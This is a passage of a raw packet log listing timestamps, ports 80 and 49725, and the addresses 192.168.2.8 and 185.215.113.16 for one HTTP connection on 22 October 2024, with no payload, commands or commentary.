Oct 22, 2024 19:25:12.107484102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107491970 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107536077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107536077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107614994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107625961 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107634068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107666969 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107681036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107686996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107696056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107712984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107726097 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107733965 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107736111 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107763052 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107764959 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107763052 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107763052 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107775927 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107788086 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107805967 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107810974 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107856989 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107893944 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107947111 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.107955933 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107969999 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.107979059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108009100 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108036995 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108047009 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108059883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108083963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108093977 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108098984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108098984 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108119965 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108163118 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108190060 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108210087 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108223915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108233929 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108238935 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108243942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108254910 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108261108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108269930 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108273983 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108319998 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108319998 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108325005 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108336926 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108362913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108365059 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108376980 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108385086 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108412981 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108412981 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108453035 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108464003 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108504057 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.108647108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108659029 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.108704090 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110336065 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110347033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110357046 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110388994 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110415936 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110450983 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110462904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110474110 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110486984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110498905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110533953 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110533953 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110534906 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110558033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110569954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110580921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110603094 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110605001 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110615015 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110622883 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110626936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110655069 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110662937 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110672951 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110673904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110718012 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110738039 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110752106 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110755920 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110763073 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110771894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110784054 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110793114 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110800982 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110812902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110815048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110815048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110836983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110850096 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110908985 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110920906 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110932112 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110944033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110955000 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.110961914 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110990047 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.110990047 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111046076 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111098051 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111180067 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111191988 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111231089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111231089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111476898 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111496925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111512899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111531019 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111556053 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111556053 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111567974 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111582041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111591101 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111604929 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111609936 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111627102 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111627102 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111645937 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111649036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111660957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111670971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111680984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111694098 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111701012 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111706018 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111721992 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111737013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111740112 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111752033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111754894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111773014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111785889 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111788988 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111788988 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111797094 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111809969 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111812115 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111821890 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111825943 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111834049 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111844063 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111865044 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111865997 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111871004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111881971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111884117 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111891031 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111902952 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.111905098 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111931086 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.111948013 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112111092 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112123013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112140894 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112152100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112163067 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112164974 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112174034 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112183094 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112185955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112199068 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112225056 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112251043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112306118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112315893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112325907 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112339020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112348080 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112359047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112366915 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112373114 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112387896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112401009 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112401962 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112401009 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112418890 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112423897 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112433910 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112435102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112445116 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112456083 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112457037 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112457037 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112468004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112473965 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112481117 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112494946 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112509966 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112518072 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112530947 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112529993 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112540960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112551928 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112562895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112571955 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112571955 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112574100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112585068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112591028 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112592936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112606049 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112622023 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112643003 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112653971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112663984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112675905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112688065 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112694025 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112715960 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112732887 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112757921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112768888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112778902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112791061 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112802029 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112813950 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112818003 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112818003 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112835884 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112874985 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112890959 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112903118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112912893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112940073 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112957954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112957954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112957954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112970114 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.112978935 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.112997055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113009930 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113154888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113164902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113174915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113184929 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113199949 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113205910 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113209963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113221884 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113224983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113233089 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113241911 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113245010 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113255978 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113260984 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113269091 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113276958 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113297939 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113312006 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113312960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113323927 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113334894 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113363028 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113363028 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113380909 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113385916 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113400936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113413095 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113424063 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113431931 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113436937 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113464117 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113464117 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113464117 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113477945 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113485098 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113488913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113524914 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113550901 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113560915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113574982 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113589048 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113620996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113620996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113723993 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113737106 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113748074 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113759041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113780975 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113780975 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113809109 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113868952 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113879919 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113898993 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113909960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113922119 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113925934 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113940954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113946915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113959074 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113960981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113972902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.113982916 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.113982916 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114005089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114005089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114233971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114257097 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114267111 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114289045 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114289045 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114316940 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114337921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114351034 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114361048 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114373922 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114392042 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114413977 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114430904 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114598989 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114624977 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114636898 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114646912 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114659071 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114660025 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.114659071 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114687920 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114687920 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.114706993 CEST	80	49725	185.215.113.16	192.168.2.8
